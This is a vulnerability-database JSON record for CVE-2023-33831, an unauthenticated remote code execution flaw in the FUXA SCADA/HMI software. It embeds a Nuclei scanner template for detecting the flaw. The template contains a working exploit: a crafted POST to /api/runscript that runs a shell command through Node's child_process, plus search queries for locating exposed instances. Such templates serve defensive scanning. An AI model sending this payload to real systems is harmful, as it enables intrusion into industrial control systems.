{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-33831/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-33831/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-33831/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-33831/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-33831/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-33831"},"sightings":{"href":"/api/v1/sightings/cve-2023-33831"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-33831.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-33831\n\ninfo:\n  name: FUXA - Unauthenticated Remote Code Execution\n  author: gy741\n  severity: critical\n  description: |\n    A remote command execution (RCE) vulnerability in the /api/runscript endpoint of FUXA 1.1.13 allows attackers to execute arbitrary commands via a crafted POST request.\n  impact: |\n    Unauthenticated attackers can execute arbitrary Node.js code through the runscript API endpoint, potentially compromising the entire SCADA/HMI system and accessing industrial control data.\n  remediation: |\n    Update FUXA to a version newer than 1.1.13 that validates script code and requires authentication for the runscript endpoint.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-33831\n    - https://github.com/rodolfomarianocy/Unauthenticated-RCE-FUXA-CVE-2023-33831\n    - https://github.com/codeb0ss/CVE-2023-33831-PoC\n    - https://github.com/nomi-sec/PoC-in-GitHub\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-33831\n    cwe-id: CWE-77\n    epss-score: 0.25951\n    epss-percentile: 0.97911\n    cpe: cpe:2.3:a:frangoteam:fuxa:1.1.13:*:*:*:*:*:*:*\n  metadata:\n    verified: \"true\"\n    max-request: 2\n    vendor: frangoteam\n    product: fuxa\n    fofa-query:\n      - title=\"FUXA\"\n      - title=\"fuxa\"\n  tags: cve,cve2023,rce,intrusive,frangoteam,fuxa,unauth,vkev,vuln\nvariables:\n  filename: \"{{rand_base(6)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/runscript HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"headers\": {\"normalizedNames\": {}, \"lazyUpdate\": \"null\"}, \"params\": {\"script\": {\"parameters\": [{\"name\": \"ok\", \"type\": \"tagid\", \"value\": \"\"}], \"mode\": \"\", \"id\": \"\", \"test\": \"true\", \"name\": \"ok\", \"outputId\": \"\", \"code\": \"require('child_process').exec('id > ./_images/{{filename}}')\"}}}\n      - |\n        GET /_images/{{filename}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_1\n        words:\n          - 'Script OK:'\n\n      - type: word\n        part: body_2\n        words:\n          - 'uid'\n          - 'gid'\n          - 'groups'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402207a475028695c31e170b2707e91fd97e62ae96fbf43bae5c1a26acb7aa3f9828502204317fcbb4321ac3fe5681ba9814c0e1612ba651c43d50719e14b7d963490e807:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-33831"}